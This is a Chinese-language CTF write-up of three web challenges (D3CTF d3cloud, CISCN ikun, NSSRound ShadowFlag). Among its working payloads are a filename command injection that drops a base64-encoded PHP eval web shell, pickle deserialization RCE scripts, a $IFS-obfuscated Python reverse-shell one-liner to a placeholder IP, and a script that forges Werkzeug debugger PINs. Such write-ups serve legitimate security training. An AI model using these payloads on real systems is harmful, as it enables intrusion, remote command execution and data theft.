D3ctf-d3cloud复现 打开是一个Laravel页面
1 Laravel是一个基于PHP编程语言的免费开源的Web应用程序框架,它的目标是提高Web应用程序的开发效率和可维护性。Laravel框架使用了现代的PHP开发技术,并提供了丰富的功能和工具,使得开发人员能够更快捷地构建高质量的Web应用程序。
Laravel的管理员默认登录页面为admin
进入/admin,输入admin/admin进入页面
进入media路由,发现一个FilesystemAdapter.php,这个是个插件,可以在其中发现这样一段代码
1 2 3 4 if ($file ->getClientOriginalExtension () === "zip" ) { $fs = popen ("unzip -oq " . $this ->driver->getAdapter ()->getPathPrefix () . $name ." -d " . $this ->driver->getAdapter ()->getPathPrefix (),"w" ); pclose ($fs ); }
直接对文件名进行拼接了,而popen函数可以直接对其中的第一个参数执行命令
1 2 <?php popen ('whoami' ,'w' );
第二个参数是必需的
直接修改文件名为:
1 2 1123.zip || echo PD9waHAgZXZhbCgkX1JFUVVFU1RbInNoZWxsIl0pOw== | base64 -d > shell.php # .zip
访问shell.php,shell为参数执行命令即可
[CISCN2019 华北赛区 Day1 Web2]ikun 页面提示一定要买到lv6,但两个页面均没有
1 2 3 4 5 6 7 8 import requestsfor i in range (1 , 1001 , 1 ): url = "http://node1.anna.nssctf.cn:28316/shop?page=" url += str (i) x = requests.get(url) if "lv6.png" in x.text: print (i)
找到在181页,但是lv6太贵买不起,抓包看看,有一个discount为0.8,将其改为0.0000000000001,放包后出现一个页面只能admin访问,再对其进行抓包,此时需要对jwt进行解密,在kali中利用jwtcrack对其进行解密后,得到密钥为1Kun
并将username修改为admin,替换jwt,提示static/asd1f654e683wq/www.zip
涉及pickle反序列化漏洞
1 2 3 4 5 6 7 8 @tornado.web.authenticated def post (self, *args, **kwargs ): try : become = self.get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self.render('form.html' , res=p, member=1 ) except : return self.render('form.html' , res='This is Black Technology!' , member=0 )
脚本为
1 2 3 4 5 6 7 8 9 import pickleimport urllibimport commandsclass payload (object ): def __reduce__ (self ): return (commands.getoutput, ('ls /' ,)) a = payload() print (urllib.quote(pickle.dumps(a)))
利用这个结果修改become参数,得到目录
1 2 3 4 5 6 7 8 9 10 11 import osimport pickleimport urllibclass exp (object ): def __reduce__ (self ): return (eval ,("open('/flag.txt').read()" ,)) a=exp() s=pickle.dumps(a) print (urllib.quote(s))
得到flag
[NSSRound#7 Team]ShadowFlag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from flask import Flask, requestimport osfrom time import sleepapp = Flask(__name__) flag1 = open ("/tmp/flag1.txt" , "r" ) with open ("/tmp/flag2.txt" , "r" ) as f: flag2 = f.read() tag = False @app.route("/" ) def index (): with open ("app.py" , "r+" ) as f: return f.read() @app.route("/shell" , methods=['POST' ] ) def shell (): global tag if tag != True : global flag1 del flag1 tag = True os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt" ) action = request.form["act" ] if action.find(" " ) != -1 : return "Nonono" else : os.system(action) return "Wow" @app.errorhandler(404 ) def error_date (error ): sleep(5 ) return "扫扫扫,扫啥东方明珠呢[怒]" if __name__ == "__main__" : app.run()
在shell路由下可以执行命令,但是过滤了空格,并且没有回显,可以尝试反弹shell
巨魔师傅的各种反弹shell集合
可以找到如下命令
1 python3$IFS-c$IFS'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("xx.xx.xx.xx",2333 ));f=c.fileno;o(f(),0 );o(f(),1 );o(f(),2 );p("/bin/sh")'
第一个flag:我们可以发现第一个flag是利用open(“/tmp/flag1.txt”, “r”)打开的,而且并没有使用close关闭,那么这个flask还在运行,我们就可以在/proc/[pid]/fd的内存中找到他。一般是存在15-35这个范围,我们一一寻找,最后 在/proc/17/fd/*中找到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ cat /proc/16 /fd* cat /proc/16 /fd* cat: /proc /16/fd : Permission denied cat : /proc /16/fdinfo : Permission denied $ cat /proc /16/fd /* cat /proc /16/fd /*cat : '/proc /16/fd /*': Permission denied $ cat /proc /17/fd /* cat /proc /17/fd /*cat : /proc /17/fd /1: Permission denied cat : /proc /17/fd /2: Permission denied NSSCTF {6a530062 -bb51 cat : /proc /17/fd /4: No such device or address cat : /proc /17/fd /6: No such device or address
第二个flag:第二个flag就相对比较麻烦了,因为第二个flag是利用with open(“/tmp/flag2.txt”, “r”) as f:打开的,用with会默认打开使用后关闭这个文件,我们就只能从flask的环境中去寻找flag2这个变量了,大佬们第一个就想到了利用console(这个之前遇到最多的就是在ssti页面报错时进入的页面,其中有命令行功能,但是需要登录),但是利用console需要有Flask的Pin值,我们现在来看如何利用shell来计算Pin值
1 在Flask应用程序中,PIN(个人识别号码)通常用于身份验证目的,以确保只有授权用户可以访问受保护的资源或执行受限操作。例如,您可以要求用户输入他们的PIN码来访问他们的账户,或者要求员工输入他们的PIN码来访问内部系统或执行敏感操作。
先看看脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import hashlibfrom itertools import chainprobably_public_bits = [ 'ctf' 'flask.app' , 'Flask' , '/usr/local/lib/python3.10/site-packages/flask/app.py' ] private_bits = [ str (int ("02:42:ac:02:67:22" .replace(":" ,"" ),16 )), "e0ad2d31-1d21-4f57-b1c5-4a9036fbf235" +"a6a621a203a0e17ad7befe8cea9d6407f942b5bd98dcc1fad940d33632c07dea" ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
然后到刚刚那个报错页面找到/home/ctf/app.py,点击命令行图标,输入pin值,执行flag2命令即可得到后半段flag